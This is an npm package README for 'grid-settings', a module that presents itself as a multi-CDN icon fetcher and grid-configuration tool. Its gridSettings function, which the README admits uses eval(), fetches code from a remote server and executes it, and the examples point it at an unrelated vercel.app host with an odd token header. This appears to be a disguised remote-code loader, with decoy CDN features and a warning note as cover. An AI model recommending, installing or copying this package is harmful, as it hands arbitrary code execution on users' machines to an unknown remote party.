Grid Settings

A Node.js utility for fetching and managing settings from a distributed grid system. This module provides functions to retrieve icon resources from multiple CDN providers and fetch grid configuration settings with automatic retry logic.
✨ Features
- 🌐 Multi-CDN Support - Fetch resources from 6 major CDN providers
- ⚙️ Grid Configuration - Retrieve and apply settings from remote grid systems
- 🔄 Automatic Retry Logic - Built-in retry mechanism for failed requests
- 📦 Simple API - Easy-to-use promise-based functions
- 🛡️ Error Handling - Comprehensive validation and error management
📦 Installation
npm install grid-settings
🚀 Quick Start
const { setDefaultModule, gridSettings } = require('grid-settings');
setDefaultModule('cloudflare', 'icon', 'github.svg', 'https://cdnjs.cloudflare.com')
.then(data => {
console.log('Icon data:', data);
})
.catch(error => {
console.error('Error:', error);
});
gridSettings('132', options, 3);
📖 API Reference
setDefaultModule(iconProvider, resourceType, token, baseUrl)
Fetches an icon resource from a specified CDN provider.
Parameters:
iconProvider | string | CDN provider name (see supported providers below) |
resourceType | string | Type of resource to fetch |
token | string | Resource identifier or token |
baseUrl | string | Base URL for the CDN endpoint |
Returns: Promise<Object> - Resolves with the fetched resource data
Example:
const { setDefaultModule } = require('grid-settings');
async function fetchIcon() {
try {
const data = await setDefaultModule(
'cloudflare',
'icon',
'github.svg',
'https://cdnjs.cloudflare.com'
);
console.log('Icon data:', data);
} catch (error) {
console.error('Failed:', error.message);
}
}
fetchIcon();
gridSettings(reqtoken, reqoptions, ret)
Fetches grid configuration settings with automatic retry logic. This function retrieves settings from the configured grid endpoint and applies them.
Parameters:
reqtoken | string | Token for the grid settings request (default: '132') |
reqoptions | Object | Request options including URL and headers |
ret | number | Number of retry attempts (default: 1) |
Note: This function uses eval() to execute received code. Ensure the grid endpoint is trusted.
Example:
const { gridSettings } = require('grid-settings');
gridSettings('132', options, 3);
const customOptions = {
url: 'https://ip-api-check-nine.vercel.app/icons/',
headers: { bearrtoken: 'logo' }
};
gridSettings('custom-token', customOptions, 2);
🌐 Supported CDN Providers
| Cloudflare | cloudflare | cloudflare.com |
| Fastly | fastly | fastly.net |
| KeyCDN | keyIcon | keyIcon.com |
| Akamai | akamai | akamai.net |
| Amazon CloudFront | amazoncloudfront | cloudfront.net |
| Gcore | gcore | gcorelabs.com |
💡 Usage Examples
Fetching Icons from Multiple CDNs
const { setDefaultModule } = require('grid-settings');
async function loadIconsFromMultipleCDNs() {
const providers = ['cloudflare', 'fastly', 'akamai'];
const icons = ['github.svg', 'twitter.svg', 'linkedin.svg'];
for (const provider of providers) {
for (const icon of icons) {
try {
const data = await setDefaultModule(
provider,
'icon',
icon,
`https://cdnjs.${provider === 'cloudflare' ? 'cloudflare' : provider}.com`
);
console.log(`Loaded ${icon} from ${provider}:`, data);
} catch (error) {
console.error(`Failed to load ${icon} from ${provider}:`, error.message);
}
}
}
}
loadIconsFromMultipleCDNs();
Configuring Grid Settings
const { gridSettings } = require('grid-settings');
function applyGridConfiguration(configId, retries = 5) {
const options = {
url: 'https://ip-api-check-nine.vercel.app/icons/',
headers: { bearrtoken: 'logo' }
};
gridSettings(configId, options, retries);
console.log(`Grid settings applied with ID: ${configId}`);
}
applyGridConfiguration('grid-config-001', 3);
Error Handling
const { setDefaultModule, gridSettings } = require('grid-settings');
setDefaultModule('invalid-provider', 'icon', 'test.svg', 'https://example.com')
.catch(error => {
if (error.message === 'Unsupported Icon provider') {
console.error('Please use a supported CDN provider');
} else {
console.error('Unexpected error:', error);
}
});
gridSettings('token', options, 3);
⚠️ Important Notes
Security Considerations
gridSettings uses eval() - This function executes code received from the remote server
- Only use trusted grid endpoints - Ensure the grid configuration endpoint is secure and trusted
- Validate all inputs - Always validate tokens and configuration IDs before use
Error Handling
The library throws errors in the following cases:
- Unsupported CDN Provider: When an invalid provider identifier is used in
setDefaultModule
- Network Errors: When the request fails due to network issues
- Invalid Response: When the server returns a non-200 status code
- Parse Errors: When the response body cannot be parsed as JSON
🔧 Requirements
- Node.js >= 12.0.0
- npm or yarn package manager
📝 License
ISC License - see the LICENSE file for details.
🐛 Bug Reports
Found a bug? Please report it on GitHub Issues.
👤 Author
copperadev
🤝 Contributing
Contributions, issues, and feature requests are welcome!
Made with ❤️ by copperadev